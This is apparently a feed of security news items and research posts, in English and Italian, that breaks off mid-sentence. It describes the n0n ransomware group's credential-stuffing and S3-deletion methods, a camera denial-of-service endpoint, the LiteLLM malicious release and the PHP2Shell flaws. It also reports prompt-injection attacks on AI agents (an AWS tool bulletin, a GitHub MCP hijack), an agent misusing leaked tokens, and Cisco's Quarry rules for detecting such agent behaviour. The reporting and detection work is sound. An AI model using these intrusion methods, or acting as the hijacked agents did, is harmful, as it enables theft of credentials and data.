python

A n0n ransomware operator tried to break into 23 organizations across 14 countries, but couldn't secure its own front door, leaving its server exposed with all of its methods on view. The criminals used a mix of new (AI) and old (stolen credentials) tooling during their data-theft spree, and in some cases not only stole and encrypted files, but also deleted data and backups, eliminating victims’ ability to recover their information. And despite the fear and hype around the breachpocalypse, with AI finding and developing exploits for critical vulnerabilities affecting most organizations across the globe, these crooks did not exploit a single bug to gain entry into any of their victims’ IT environments. “In every documented compromise in this investigation, access relied on weak or stolen credentials,” said Ensar Seker, chief information security officer of threat intelligence firm SOCRadar. “What stands out is the combination of AI-assisted development and very conventional entry points,” Seker told The Register. “We found no evidence of vulnerability exploitation in the cases examined.” The gang breaks into organizations at scale using widespread Remote Desktop Protocol (RDP) scanning and automated FortiGate SSL-VPN credential stuffing. To access US-based IT managed services provider ChiBiTek, the crew used a 15-thread residential SOCKS5 proxy pool to test credentials (ip:port:user:password) against FortiGate portals (GET /remote/login). The operators also gained entry using exposed cloud credentials and reused hosting portal sessions. In one case linked to e-commerce site Fanatics, SOCRadar found that n0n used an exposed AWS access key with permissions to list, read, and delete objects in S3 buckets. The criminals then used this key to pull data from 40 S3 buckets, with up to 110 GB per bucket, and ultimately deleted data, including bank-transaction archives, and purged keys across 12 sensitive buckets. AI-assisted extortion While the threat hunters didn’t find any evidence of a fully autonomous attack system, the ransomware operator did use AI to assist with these intrusions, incurring more than $7,216 in AI usage costs by October 22. Specifically: the criminal or criminals used OpenCode, an open-source AI coding agent, configured with 154 model entries across seven providers. Models included Gemini, Mistral, Nemotron, Llama, Claude, GPT-5.x, Grok, Kimi, GLM, DeepSeek, MiniMax, Qwen, and many, many others, some with safety training removed and others marketed as “uncensored” models. “The operator used AI to write and debug hundreds of scripts. That shows how AI can help an attacker turn basic access into a broader, tailored operation,” Seker said. “The destructive behavior is equally significant,” he added. “The operator did more than steal and encrypt files: in some cases, it deleted data and backups, and in one case changed firewall policies to block traffic. That creates a recovery problem that a decryption key alone cannot solve.” SOCRadar’s threat hunters found the operator’s workspace - a publicly accessible Python HTTP file server hosted in Sweden at 185.157.161[.]148 on port 8877 - last month, and documented the exposed directory in snapshots on September 25 and 26. “Across those snapshots, we identified 1,719 files, including attack scripts, ransomware source code, extortion infrastructure, and an AI coding agent environment,” Seker said. “This gave us visibility into the operation behind the victim listings, including how the operator prepared attacks and handled stolen data.” Meet n0n It also provided a close look at n0n, a newcomer to the data-theft and extortion game that has claimed 108 victims since it emerged last month. On October 12, the group added 38 maritime, port and logistics organizations across 18 countries to its leak site in a single batch. Researchers have linked at least 21 of them to customers of South Korean maritime software provider CyberLogitec, although the software provider has not confirmed an intrusion. The crooks set an October 19 deadline for the maritime firms, with ransom demands ranging from $400,000 to $28 million, payable in Bitcoin. After the deadline, however, none of the 38 listings were marked “settled” and none of their payment addresses showed any transaction. All affected organizations’ stolen data was published. While a handful of the gang’s claimed victims have been marked “honored - data destroyed” on n0n’s leak site, indicating the victim orgs paid the ransom demand, SOCRadar hasn’t validated any transactions on-chain. In its profile details, the security shop rates the gang a 10 out of 10 for "aggressiveness" and a zero out of 10 for “lethality.” The group is believed to be based in Russia, although the server uncovered by SOCRadar, which it attributed to a single operator or small team, didn’t provide any definitive geographic or national attribution. Every case that the exposed server documented followed the same lifecycle, moving from initial access to establishing persistence and credential collection via hidden admin accounts disguised as services, covert proxies, credential and session-token theft, mailboxes and emailed multi-factor authentication codes. The crooks then collected sensitive data and sent everything to the operator’s central storage with the attack impact shifting between data-theft, encryption, destruction, and network disruption, depending on the targeted organization. After breaking into Transcom, a Netherlands-based financial services provider, the crims sent a secondary ransom alert directly to PayPal's security team, even though the compromised data was only on Transcom's network. Stupid mistakes and n0n security basics Finally, the crims send ransom notes, post a countdown clock on the leak site, establish negotiation rooms and emails for victims - and then leak the stolen files or destroy backups when the organizations don’t pay up. In some cases, and to apply increased pressure on victimized companies, n0n also broadcasts automated countdown warnings to businesses’ service providers, clients, and media outlets. Despite its aggressive tactics, the operator in this case - as with other stupid criminals The Register has gleefully documented in earlier stories - still struggles with basic security hygiene. “There is a striking gap between operational ambition and security discipline,” Seker said. “The operator invested thousands of dollars in AI services while leaving its own workspace exposed. The locker also contained hardcoded encryption keys, with evidence suggesting reuse across victims. An operation can have serious destructive capability while still making fundamental mistakes.”®

Oltre 400 incidenti analizzati da Arctic Wolf Labs mostrano come i cyber criminali sfruttino le chat esterne di Microsoft Teams per impersonare il supporto IT e ottenere accesso ai sistemi aziendali. Tra mail bombing, assistenza remota fraudolenta e strumenti RMM, ecco come funziona l'attacco e quali misure adottare per difendersi L'articolo Microsoft Teams sotto attacco: falsi tecnici IT sfruttano le chat esterne per violare le aziende proviene da Cyber Security 360 .

A crypto-mining campaign abusing Hugging Face models returned days after takedown, hijacking GPU servers and planting backdoors, with one model downloaded over 28,000 times. Separately, a fake Solana starter kit on GitHub is positioned to trick AI coding agents into installing a NetSupport RAT. [...]

Some attacks take real skill. Others just need someone to leave a door open. This week has both. Exposed passwords, old bugs still getting exploited, and trusted software doing things it shouldn't. There's a strange mix of clever tricks and careless mistakes. Hackers are borrowing trust from familiar apps, websites, and AI tools. Some are using AI to speed things up. Others are leaving their

Cisco open sourced Project Quarry, a rule language for detecting AI agent attacks that only emerge across sequences of benign actions. The post Cisco Open Sources Quarry to Catch AI Agent Attacks Hidden in Harmless Steps appeared first on SecurityWeek .

GitHub has announced that it's introducing a new package firewall as a preview to block installation of suspicious npm packages during installation time. "The firewall inspects both metadata requests and package downloads for signs of malicious activity, acting as an install-time policy gate," GitHub said. The feature, which currently supports only npm packages, is available in public preview

Hackers exploited a critical Cisco Catalyst SD-WAN flaw, fixed in February, to plant custom malware inside the systems that control an organization's SD-WAN network. The malware, called KeyDrift, is designed to copy the keys that encrypt traffic between sites and store them for later use, Cisco Talos said on October 28. Talos calls the attacks historical but does not specify when they

Bulletin ID: 2026-155-AWS Publication Date: 10/28/2026 15:00 PM PDT Description: AWS is aware of CVE-2026-111497, an issue in the native Brotli decompression library that could allow a third party to run code or read process memory in an affected application. AWS Lambda, AWS Amplify, AWS App Runner, Amazon CloudWatch Synthetics, AWS CodeBuild, AWS Elastic Beanstalk, and AWS Elemental MediaLive are addressing this issue. Some services require customer action. For details, see the bulletin. Read this article

Bulletin ID: 2026-154-AWS Publication Date: 10/28/2026 12:30 PM PDT Description: We identified CVE-2026-115415, an issue where the environment tool accepted a masking parameter from the large language model (LLM) through its tool schema. A crafted prompt, delivered through content the agent is asked to process, could instruct the model to call the tool with masking turned off. The tool would then return the agent host's environment variables in cleartext, including cloud credentials and API keys, without prompting the operator for consent. Impacted versions: >= 0.1.0 AND < 0.8.6 Please refer to the article below for the most up-to-date and complete information related to this AWS Security Bulletin. Read this article

Bulletin ID: 2026-153-AWS Scope: AWS Content Type: Important (requires attention) Publication Date: 10/28/2026 08:30 AM PDT Description: AWS SDK for pandas (awswrangler) is an open-source Python library that integrates pandas with AWS data services such as Amazon Athena, Amazon S3, and AWS Glue. We identified CVE-2026-118029 in the Athena module, where unverified ownership of the default query result location could allow a remote user to read Athena query results and tamper with result sets returned to the caller via a pre-created S3 bucket. Impacted versions: awswrangler < 3.16.1 Please refer to the article below for the most up-to-date and complete information related to this AWS Security Bulletin. Read this article

Cisco has open sourced a behavior detection engine that watches AI agents, to help security teams prevent rogue agents from going off the rails like they did with the Hugging Face hack – or worse. It’s called Project Quarry, and it aims to provide a “shared language” for evaluating agent behavior, along the lines of what Snort, which Cisco also maintains, did for detecting malicious network traffic and what YARA did for rule-based malware identification. Most detection tools rely on specific interactions with an AI model or agent. Did it attempt prompt injection? Or did the agent call an attack tool? “But what is missing is the entire context under which something may occur,” Amy Chang, head of AI threat and security research at Cisco, said in an exclusive interview with The Register. She likened this to credit card fraud detection. Without context, individual transactions such as a small test charge or a single purchase in a location far away from a card-holder's usual location may not raise any flags. “And then you try again,” making another fraudulent purchase, “and that went through, too. So now I’m gonna buy the PS5,” Chang said. “Those are the things that Quarry addresses by taking into consideration the entire agent session,” she explained. “One tool call may seem in-scope until you realize that that next step is taking that information and sending it to an attacker-controlled inbox or server.” Even data theft is a sequence and not a single agentic action. Agentic AI security firm Invariant Labs demonstrated this with a proof-of-concept attack against GitHub's MCP server that hijacked a user's agent via a malicious GitHub Issue, and coerced it into leaking data from private repositories. Simply reading a configuration file, or sending a request to an external endpoint may be legitimate agentic actions. However, combining the two can lead to data exfiltration – and shows “why action relationships matter,” wrote Chang and fellow Cisco researchers Adam Swanda, Ravikumar Balakrishnan, and Konstantin Berlin in a blog post about Quarry shared with The Register ahead of publication “A policy can produce a finding when the trace shows a sensitive file read followed within a defined window by an external send,” they wrote. “The risk comes from the relationship between the two actions, so the finding should preserve evidence from both." Quarry covers single- and multi-turn large language model conversations, agents, tool use, Model Context Protocol (MCP) interactions, and multimodal inputs. In addition to the open source code itself, the project’s GitHub repository includes installation instructions, supported Python versions, plugins for Claude Code, Codex and other MCP-compatible agents, configuration examples, rule-writing guidance, and a rule starter pack. For instance, with the rule pack, “If a base-64 encoded malware is somewhere in the tool call, that would result in a block,” Chang said. The rule format looks similar to a YARA or Snort rule, with a header that details the traffic to examine, content to match, and metadata for tracking the rule. Here’s a Quarry rule that flags an agent that reads a credentials file: While the Cisco Ai researchers have not run Quarry against data describing the OpenAI-Hugging Face incident, they suggest that if the intrusion had been read as a complete, step-by-step record of a single session, there were several points where the AI agents’ steps would have given a Quarry rule something to act on and flag for humans. For example, Quarry would probably have flagged internet access from a sandbox. “The rule can flag specific tool calls that reach an external server asset that wasn’t in the task’s allow list,” Chang said. “Another one would be credentials found and used somewhere else.” According to OpenAI’s technical report about the Hugging Face intrusion, this is exactly what happened on July 10, when an agent validated 14 exposed Hugging Face tokens with write access and shared them. “The rule would flag that there was a credential in the tool result that then called an outside service, which is likely not within the parameters of what you would want to do in this case,” Chang said. “We don't want you to go and search for credentials that may have been leaked or inadvertently exposed and then utilize them to conduct a task.” The Cisco team is quick to say that rules along are not a substitute for chain-of-thought monitors, or other forms of human oversight – but they do help record a pattern that other teams can then “review, test, and apply to their own agents,” they wrote. Herein also lies the benefit of open source, and a collective approach to defending against adversarial use of AI, Chang said. “Do we have all the answers? No,” Chang said. “We all see slices of the problem, and it’s important for us to share what we see.”®

Artificial Intelligence (AI) has become one of this decade's defining technologies. From healthcare and finance to manufacturing and education, organizations increasingly rely on AI to automate repetitive tasks, uncover patterns hidden within large datasets, and support faster decision-making. Cybersecurity has experienced a similar transformation. While attackers employ AI to automate

The week leading up to October 25, 2026, was every cyber defender’s nightmare: a barrage of critical vulnerabilities in PHP and the Linux kernel, a compromised LiteLLM release, a maximum-severity flaw in GitLab, a Node.js Brotli flaw, and a certificate authority incident affecting TLS trust. A few years ago, a backlog like this would have filled a defender’s to-do list for a whole month. In the age of AI, all of this was reported within a single “Cybersecurity Black Week,” an exceptionally eventful seven-day period amid an already turbulent Black October. AI-assisted research helped uncover at least two of these flaws: PHP2Shell and the Brotli bug. On top of the breakneck patching pace, security teams faced mounting pressure to deliver status reports to other departments, management, customers, and the media. Beyond their severity, the issues stood out for the variety of responses they demanded. Some required emergency runtime patches and upgrades; others called for containment, credential rotation, or the replacement of outdated certificate trust bundles. In several cases, installing the latest version was only the beginning of a long remediation process. With so many problems landing at once, the main challenge was separating real risk from hype and prioritizing accordingly. Here is our assessment. PHP2Shell: The loudest headline, with real-world limits PHP2Shell generated the biggest media frenzy of the lot and, with it, a major headache for security teams, prompting many organizations to take their websites offline and look for emergency fixes. The name refers to two memory-safety vulnerabilities in PHP core, CVE-2026-109618 and CVE-2026-109619, affecting PHP versions 5.4 through 8.5.11. Both vulnerabilities received a CVSS v4.0 score of 9.2 and can allow unauthenticated remote code execution (RCE) on vulnerable PHP servers. In the highest-risk setups, a demonstrated exploit can trigger the vulnerability before application code runs, meaning application-level authentication offers no protection. With PHP powering an estimated 69% of websites whose server-side programming language is known, government agencies in the United States, Europe, and elsewhere urged organizations to patch immediately, with some advising that affected internet-facing systems be isolated or taken offline if they could not be patched promptly. Government websites in the Netherlands, Germany, France, and other countries were temporarily taken offline as a precaution. The PHP project released fixes on October 21 in versions 8.5.12, 8.4.27, 8.3.36, and 8.2.35, along with source-only backports for the end-of-life 7.4, 8.0, and 8.1 branches. The rollout was complicated by a premature public leak, which forced the coordinated disclosure timeline forward. While the flaws clearly belonged near the top of the patching list, early evidence suggested they were considerably harder to weaponize than initially feared. Successful exploitation requires specific conditions and knowledge of the target, and public proof-of-concept exploits did not work against a default PHP installation, according to Sansec. On October 22, ESET was among nine security companies that told NBC News they had not seen any successful attacks, even though more than 200 proof-of-concept exploits were circulating. The remediation challenge extends beyond obvious web servers: PHP can also be embedded in appliances, network devices, management interfaces, and third-party products, while end-of-life PHP branches do not receive normal upstream binary releases. Linux kernel: Reports went public before fixes were ready As if the PHP issues weren’t severe enough, on October 21, Trend Micro’s Zero Day Initiative (ZDI) sent several reports on unpatched Linux kernel vulnerabilities to the kernel’s private security address while also copying public mailing lists. As a result, technical details of vulnerabilities for which fixes were not yet generally available became public, prompting stable kernel maintainer Greg Kroah-Hartman to question why the reports had been sent to public lists without patches. The two most severe issues, both rated CVSS 9.0 by ZDI, affect KSMBD, the Linux kernel’s built-in SMB server. ZDI-CAN-33549 is an integer underflow in the SMB Direct path that could lead to RCE, while ZDI-CAN-33774 is a race condition that could also lead to RCE. Exploiting ZDI-CAN-33549 requires an RDMA-capable interface, a writable KSMBD share, and SMB Direct negotiation, significantly narrowing the number of systems exposed to that particular attack. Other reports concerned local privilege escalation vulnerabilities in the networking stack and the VMware graphics driver, as well as an information disclosure issue in the NVMe target code (NVMET). To remediate, security teams had to track each report independently, consult distribution advisories, and restrict exposed services where practical while awaiting verified fixes. Kernel updates also required rebooting into the patched kernel and checking the running version, not merely confirming that a new package had been installed. LiteLLM: Compromised, not merely vulnerable On October 21, attackers published a malicious version of LiteLLM, 1.107.0, to PyPI and pushed compromised images to the project’s official container registries. According to the project’s incident report, its release pipeline was breached using GitHub CLI credentials associated with three developers. One of the stolen tokens belonged to an owner of the project’s GitHub organization, allowing attackers to disable branch protections and modify the release workflow to point to a lookalike repository. LiteLLM, a Python proxy for LLM providers, has about 23 million weekly downloads, and the malicious version remained available on PyPI for roughly two hours before it was quarantined. It was the project’s second supply-chain compromise of 2026, after malicious versions 1.82.7 and 1.82.8 appeared in March. The payload combined a credential stealer with a second-stage remote access trojan (RAT). By abusing Python’s startup mechanisms, including a .pth file, it ran every time Python started, even if an application never imported LiteLLM. Execution therefore did not depend on exploiting an application flaw: simply running Python in an affected environment could be enough. Affected environments had to be treated as potentially compromised, not merely vulnerable. According to LiteLLM, these included environments that ran litellm==1.107.0 and containers that executed affected images distributed under the v1.107.0, latest, main-latest, or main-stable tags during the compromised intervals. Removing or replacing the package was insufficient: teams needed to determine whether the malicious code had run, contain affected systems, rebuild from clean sources, and rotate exposed secrets from a clean environment. Cloud, source-control, and CI/CD logs also had to be reviewed for unauthorized activity. Node2Shell: From Node.js to HTTP2Shell Node2Shell (CVE-2026-111497) is an out-of-bounds write in Google’s Brotli decoder, which Node.js bundles. Malformed compressed input can cause crashes, memory disclosure, or potentially RCE when an application decompresses attacker-controlled Brotli data. This can happen through explicit decompression, compressed request bodies, or automatically decompressed responses. Node.js rates the flaw as high severity, while the broader Brotli vulnerability carries a CVSS v4.0 score of 9.2. According to Aikido, researchers demonstrated code execution against the official, unmodified Node.js 24.22.0 image on Linux ARM64. Although the exploit did not work on every attempt, the demonstration showed that exploitation was practical, if not universally reliable. Node.js shipped fixes on October 21 in versions 22.23.4, 24.22.1, and 26.12.1, and Bun followed with version 1.4.4 or later. Node.js 25.x, 23.x, 20.x, and earlier releases are end-of-life and will not receive the fix. Within days, the story outgrew Node.js. The same decoder is compiled into the Python Brotli and brotlicffi packages as well as into other HTTP software, which led researchers to rename the issue HTTP2Shell. The operational challenge was therefore not simply upgrading a single runtime but identifying every container, serverless deployment, and library that bundles the vulnerable decoder. The issue was fixed upstream in Brotli 1.2.1. Notably, OpenAI’s Codex Security had reported the underlying bug, and the fix had been present in the Brotli source since February without being recognized as a security issue. GitLab: Credential leaks and authorization failures On October 21, GitLab shipped a critical out-of-band patch release (versions 19.5.1, 19.4.3, 19.3.6, 19.2.9, 19.1.9, 19.0.10, and 18.11.13) addressing 12 security vulnerabilities. The headline flaw, CVE-2026-110264, rated 10.0 under CVSS v3.1, is an integer overflow triggered when GitLab compiles a specially crafted regular expression. Under certain conditions, it could allow an unauthenticated attacker to execute arbitrary code on the server. The affected versions date back to GitLab 7.0. The other fixes addressed credential exposure, cache poisoning, authorization bypasses, and failures to enforce membership or merge-request approval policies. Reported unauthenticated attack paths included exposure of sensitive credentials through internal response headers and manipulation of a shared OAuth/OIDC discovery cache, while other issues required authenticated access. GitLab did not publish individual severity scores or exploitability details for these issues. GitLab.com and GitLab Dedicated were already patched, so the work fell on administrators of self-managed instances. GitLab strongly recommended upgrading immediately, but with a catch: the older backport releases (19.2.9, 19.1.9, 19.0.10, and 18.11.13) included only the critical fix, while the remaining 11 issues were fixed only in 19.3.6 and later. Administrators also had to verify that all deployment components had been updated and assess the potential exposure of credentials and private project data due to the fact that patching would not invalidate stolen credentials or reverse unauthorized changes. eMudhra/emSign: Compromised certificate trust The high-priority eMudhra/emSign incident involved no software vulnerability at all. Several eMudhra intermediate certificate authorities (CAs) had insecure private keys, meaning attackers could potentially create certificates that would be trusted through the affected emSign certificate chain. While browsers had updated their trust stores and revocation lists, some Python tooling continued to trust the compromised intermediate CAs through its own certificate bundles. This created a risk of man-in-the-middle (MITM) attacks against TLS connections, including those to python.org and pypi.org. The Python Software Foundation urged users to upgrade immediately to at least certifi 2026.10.19, pip 26.2.2, and uv 0.13.4, and the Python core team shipped expedited releases 3.15.2, 3.14.10, 3.13.18, 3.12.16, and 3.11.18 to update the bundled pip. The updates had to reach every host, application, and existing virtual environment. Container images had to be rebuilt with layer caching disabled to fetch the latest system certificates. The decisive check was whether deployed clients rejected the compromised trust paths; simply upgrading Python was not enough. Cutting through the noise Cybersecurity Black Week showed that a severity score rarely tells the whole story. A 9.2-rated PHP flaw that attackers struggled to exploit, a 10.0-rated GitLab bug, exposed kernel reports with no patches, and a poisoned package that ran at Python startup each called for a different response. What they all had in common was a window of exposure: the time between disclosure and when the last affected system is patched. For the leaked kernel flaws, that window opened before any fix existed, and for end-of-life PHP versions, it may never fully close. This is where ESET’s multilayered protection comes in, using behavioural detection and other security mechanisms to help block exploitation attempts and keep systems protected until patches are applied. At the same time, the signals defenders rely on were buried in noise, from scanning that was largely benign to a single behavioural rule firing hundreds of thousands of times in a week. What mattered most was quickly understanding which incidents actually affected an organization's environment and what each incident required. That is the problem ESET’s correlation engine, ESET LiveCortex, and its specialized cybersecurity model, ESET NeoCortex, are designed to solve: turning an overwhelming volume of raw data into understandable incidents so that defenders can act before attackers achieve their goals. To learn how they work, read Beyond the alert: How ESET is teaching AI to understand security incidents.

Background Network-connected surveillance cameras are now widespread in both home and enterprise environments, so securing them is essential to safeguarding physical spaces and sensitive assets. As these devices continue to gain new features and network connectivity capabilities, vulnerabilities in their implementation can have significant security implications. During our research, we discovered a denial-of-service vulnerability that affects Intelbras IP cameras systems. The flaw resides in a firmware update endpoint that is accessible without authentication and allows anyone with access to the local Wi-Fi network to knock cameras offline. A single request disrupts the camera for only about a minute, but sending periodic requests keeps the device offline indefinitely. We reported the issue to Intelbras, monitored the remediation process, validated the fix in the new firmware, and will now demonstrate the exploitation procedure step-by-step. Following our notification, Intelbras patched the vulnerability and released updated firmware ( R.260804 ) along with update instructions . A candidate ID of CAN-2026-2035970 has been assigned by MITRE following submission, pending the final CVE assignment. Additionally, the Intelbras team recently informed us that MITRE has classified the vulnerability as Medium, assigning it a score of 5.1 under the CVSS 4.0 framework. The issue discussed in this article is no longer present in the latest firmware version. Firmware Intelbras provides firmware files on its official website. While users can manually install these updates via an SD card, the cameras also natively support firmware upgrades over the local network via their web interface and mobile app. We obtained the firmware version v240927 for the iM3B-C (IM3 C) camera, which was the latest available version at the time of our research. According to Intelbras, the same firmware is also compatible with the iMX C, iM4 C, iM5 SC, iME 360 C, and iM7+ FC models. Below, we can view the firmware version and the camera model used as an example. To provide context, we will explain how the camera’s authentication mechanism works and why it is relevant to accessing the camera’s endpoints. The main firmware component is an ARM binary named sonia , responsible for controlling the kernel drivers used by the camera hardware, authentication, and livestream recording, among other things. How authentication works The global.login RPC method handles authentication at the /RPC2_Login endpoint. First, the client, such as the mobile app or a custom script, sends the username and an empty password. The camera responds with an authentication challenge (a set of values to verify the password without transmitting it). This response returns a temporary session, the encryption type in the encryption field, a random value, and a realm (authentication scope). At this stage, a false response is normal and does not indicate a failed login, as the authentication process is not yet complete. Next, the client calculates the response password from the authentication challenge . It first generates an MD5 (username:realm:original_password) hash as the base. It then calculates a second MD5 (username:random:first_md5) hash,  where first_md5 is the result of the previous step . To complete the authentication, the client sends this final result back to /RPC2_Login in a second global.login call, passing the username, calculated password, and temporary session ID. If the login is accepted, the camera returns true and a new, authenticated session. This session must be used for all subsequent RPC calls, including the camera’s other endpoints, for example, the one that reboots the device or those that expose sensitive information. Affected endpoint The affected endpoint is the firmware upgrade route http://<ip_address>/firmwareUpgrade_service/Demo , which lacks authentication checks; furthermore, it fails to verify whether the firmware is actually valid before initiating the upgrade process. This creates a serious issue because the upgrade requires the camera to reboot, and that is precisely when the problem occurs: the camera enters reboot mode and eventually shuts down, appearing offline to the user and anyone who has the camera registered on their device. PoC: vulnerability exploitation Now that we have outlined how the vulnerability works, we will use a Python script on an iM3B-C camera to exploit it for demonstration purposes. The exploit contacts the camera’s endpoint to upload firmware. Below, we can see sonia creating the endpoint responsible for the firmware upgrade. Next, the exploit will hit the endpoint and cause the camera to reboot. Consequently, mobile phones running the Intelbras app will lose connection with the registered device. Below, we can see the camera operating normally: the green light is on and the app is showing it is available for viewing. The camera is online After the exploit executes, we can see the effects: the camera goes offline and loses connection to the registered devices. The camera is offline The exploit is quite simple: it sends an HTTP POST request with the firmware, which causes the camera to accept the request and initiate the reboot process. It does not matter whether the firmware is original; the reboot process will start regardless. New firmware version After we notified Intelbras about this flaw in the endpoint implementation, the company contacted the OEM vendor. As a result, a new firmware version was released that requires authentication to initiate an update through this endpoint. Below, we can compare the new firmware, which validates cookies and session data, with the old firmware, which performed no authentication checks and proceeded directly to the update routine. Real risk An attacker can remotely trigger the camera firmware upgrade and reboot process without authenticating or supplying a valid firmware image. This may cause the device to go offline, which results in a denial-of-service condition preventing legitimate users from accessing live monitoring or managing the camera. The potential impact is significant due to the number of affected users. The Intelbras Mibo Smart app , which the company provides to connect and manage the devices mentioned in this report, has over 4,000,000 downloads. Brazil represents the largest user base, followed by Paraguay, Ecuador, Colombia, Argentina, Chile, Peru, Bolivia, Uruguay, and Venezuela. As a result, exploitation of this issue affects a large number of users. Takeaways This is a medium-severity vulnerability that Intelbras is already aware of. The issue has been addressed in a newer firmware release ( R.260804 along with update instructions ), which mitigates this attack vector. Because the vulnerability directly affects the availability and normal operation of the affected cameras, it is highly recommended that users verify the firmware version currently installed on their devices and update to the latest available version as soon as possible. Keeping the firmware up to date is an essential security practice, especially for internet-connected surveillance devices, as outdated versions may remain exposed to known vulnerabilities.

Aggiornamenti di sicurezza sanano una vulnerabilità con gravità "alta" in OAuthLib, libreria open source per Python ampiamente utilizzata per l'implementazione dei protocolli di autorizzazione OAuth 1.0 e OAuth 2.0. Tale vulnerabilità, qualora sfruttata, potrebbe consentire ad un utente malintenzionato di eludere i meccanismi di autenticazione sui sistemi interessati.

CISA added the Brotli flaw to its KEV catalog, and two honeypot operators logged attempts, including one that used a broken exploit. The post CISA Warns of Node2Shell Exploitation as Honeypots Log Attack Attempts appeared first on SecurityWeek .

Un’analisi indipendente ricostruisce l’evoluzione delle attività offensive associate a CVE-2026-109618 e CVE-2026-109619 . Tra tentativi pre-disclosure, infrastrutture di exploitation, malware Potassium e prove di esecuzione remota, la differenza essenziale è tra ciò che è stato osservato e ciò che è stato dimostrato. Di Agostino Pellegrino e Crescenzo Cuoppolo 27 ottobre 2026  ·  Cyber Threat Intelligence   ·  Vulnerability Research  ·  Detection Engineering Un’emergenza che richiede soprattutto accuratezza Il 21 ottobre 2026 il progetto PHP ha pubblicato aggiornamenti di sicurezza per due vulnerabilità critiche, identificate come CVE-2026-109618 e CVE-2026-109619 , collettivamente conosciute come PHP2Shell [1, 2]. Entrambe presentano un punteggio CVSS v4.0 pari a 9,2 e possono consentire, in determinate condizioni, l’esecuzione remota di codice senza autenticazione. Le vulnerabilità interessano il motore PHP, non una specifica applicazione, un plugin o un content management system. La natura delle debolezze rende particolarmente rilevante la superficie esposta attraverso applicazioni web, piattaforme CMS, servizi legacy e prodotti che incorporano un interprete PHP. La pubblicazione degli aggiornamenti ha coinciso con una rapida diffusione di proof of concept, scanner e tentativi di sfruttamento. Alcune attività erano state osservate persino prima della disclosure ufficiale [3]. Il problema non riguarda soltanto l’esistenza di vulnerabilità critiche o la disponibilità di strumenti per sfruttarle. La questione centrale è determinare quando un tentativo di exploitation possa essere considerato una compromissione effettiva. È da questo interrogativo che nasce il nostro rapporto indipendente di Cyber Threat Intelligence, dedicato alla raccolta, verifica e classificazione di indicatori tecnici associati a PHP2Shell. L’analisi, aggiornata al 27 ottobre 2026, consolida 67 osservabili , distinguendo evidenze di esecuzione, attività offensive documentate e informazioni contestuali utili alle indagini. Il risultato non è una lista di 67 sistemi compromessi, né un censimento di attacchi riusciti. È un insieme strutturato di elementi investigativi la cui interpretazione dipende dalla qualità delle evidenze disponibili. Le vulnerabilità: corruzione della memoria e stato globale non valido La prima vulnerabilità riguarda la gestione delle condizioni di esaurimento della memoria. PHP utilizza meccanismi di interruzione del flusso di esecuzione, tra cui longjmp(), per gestire determinati errori fatali. Quando l’esaurimento della memoria interrompe una fase in cui alcune strutture interne non sono state completamente inizializzate, la successiva procedura di cleanup può accedere a uno stato non valido. In condizioni sfruttabili, questa situazione può condurre a corruzione della memoria ed esecuzione di codice non autorizzato [1]. CVE-2026-109619: riferimenti persistenti a memoria già liberata La seconda vulnerabilità interessa la gestione di variabili e strutture globali che possono conservare riferimenti a memoria appartenente a richieste precedenti. Se lo stato globale non viene correttamente ripristinato, una richiesta successiva può accedere a regioni di memoria non più valide. Il problema può facilitare condizioni di accesso improprio alla memoria e, in scenari sfruttabili, esecuzione remota di codice [2]. Versioni interessate e correzioni Le release PHP corrette pubblicate il 21 ottobre sono: Le versioni precedenti alle rispettive release corrette risultano vulnerabili secondo gli advisory upstream. Le distribuzioni che utilizzano backport di sicurezza richiedono una verifica specifica del pacchetto installato. Per le versioni non più supportate dal progetto PHP occorre valutare gli aggiornamenti del distributore, eventuali servizi di supporto esteso oppure la migrazione. L’esposizione non è uniforme in tutte le architetture. Apache con mod_php rappresenta uno degli scenari di maggiore interesse, poiché sono stati dimostrati percorsi di sfruttamento che intervengono prima dell’esecuzione del codice applicativo. Altri modelli, tra cui PHP-FPM, PHP-CGI, FrankenPHP e LiteSpeed, richiedono una valutazione delle rispettive condizioni di sfruttabilità. La presenza di un runtime vulnerabile non dimostra che un sistema sia già stato attaccato o compromesso. La cronologia: dalle prime attività alla prova di esecuzione 17 ottobre 2026 — Attività precedente alla divulgazione Amazon Threat Intelligence individua attraverso la rete MadPot tentativi compatibili con PHP2Shell. L’attività precede di quattro giorni il rilascio pubblico delle correzioni. L’origine attraverso infrastrutture di anonimizzazione e la natura delle richieste indicano un’attività sospetta, senza consentire di stabilire come gli operatori avessero ottenuto le informazioni tecniche in anticipo [3]. 21 ottobre 2026 — Disclosure e aggiornamenti Il progetto PHP pubblica le release di sicurezza. Nelle ore precedenti e successive emergono strumenti di scansione, proof of concept e ulteriori tentativi osservati da fornitori di sicurezza e infrastrutture di monitoraggio [1, 2, 9]. 22 ottobre 2026 — Tentativi di distribuzione malware Sophos e Arctic Wolf descrivono attività offensive associate a payload riconducibili a Potassium, variante con caratteristiche derivate da Mirai. La presenza di payload e infrastrutture C2 non dimostra automaticamente l’installazione del malware sui sistemi bersaglio [5, 6]. 24 ottobre 2026 — Evidenza di esecuzione su honeypot Il ricercatore 0x4D31 pubblica un dataset che collega traffico HTTP, log Apache/PHP, PCAP e telemetria Tetragon. Vengono documentate 35 esecuzioni di /bin/sh su tre ambienti honeypot PHP intenzionalmente vulnerabili [4]. 25 ottobre 2026 — Rettifica dell’attribuzione Unit 42 ritira una precedente attribuzione che collegava un incidente presso un ente governativo europeo alle specifiche vulnerabilità PHP2Shell. L’incidente era osservato nel contesto di un’applicazione PHP vulnerabile, ma le evidenze non erano sufficienti per confermare che l’accesso iniziale fosse avvenuto attraverso le due CVE [11]. Anche Sophos aveva corretto il 22 ottobre una propria valutazione iniziale relativa a una compromissione presso un cliente, precisando che la telemetria disponibile documentava scansioni e tentativi falliti [5]. La solidità di un rapporto tecnico dipende anche dalla capacità di correggere le attribuzioni quando le evidenze non le sostengono. Le 35 shell: cosa dimostrano realmente gli honeypot Il rapporto tecnico pubblicato il 24 ottobre da 0x4D31 presenta una catena probatoria particolarmente interessante, basata su tre target PHP configurati come honeypot (T1, T2 e T3), con PHP 8.4.26, Apache mod_php e un limite di memoria PHP di 128 MiB [4]. La ricerca ha correlato 35 richieste HTTP della fase finale dell’ exploit con 35 eventi di avvio di /bin/sh, generati direttamente da processi Apache. Le esecuzioni sono documentate mediante packet capture e telemetria del sistema operativo. Il dataset include eventi di creazione dei processi, relazioni padre-figlio, richieste HTTP e informazioni temporali. In diversi casi i comandi eseguiti hanno invocato utility come id, PHP CLI e curl, producendo ulteriori elementi di conferma. Questo consente di superare la semplice osservazione di richieste anomale o di errori applicativi. Una richiesta HTTP sospetta non prova l’esecuzione remota di 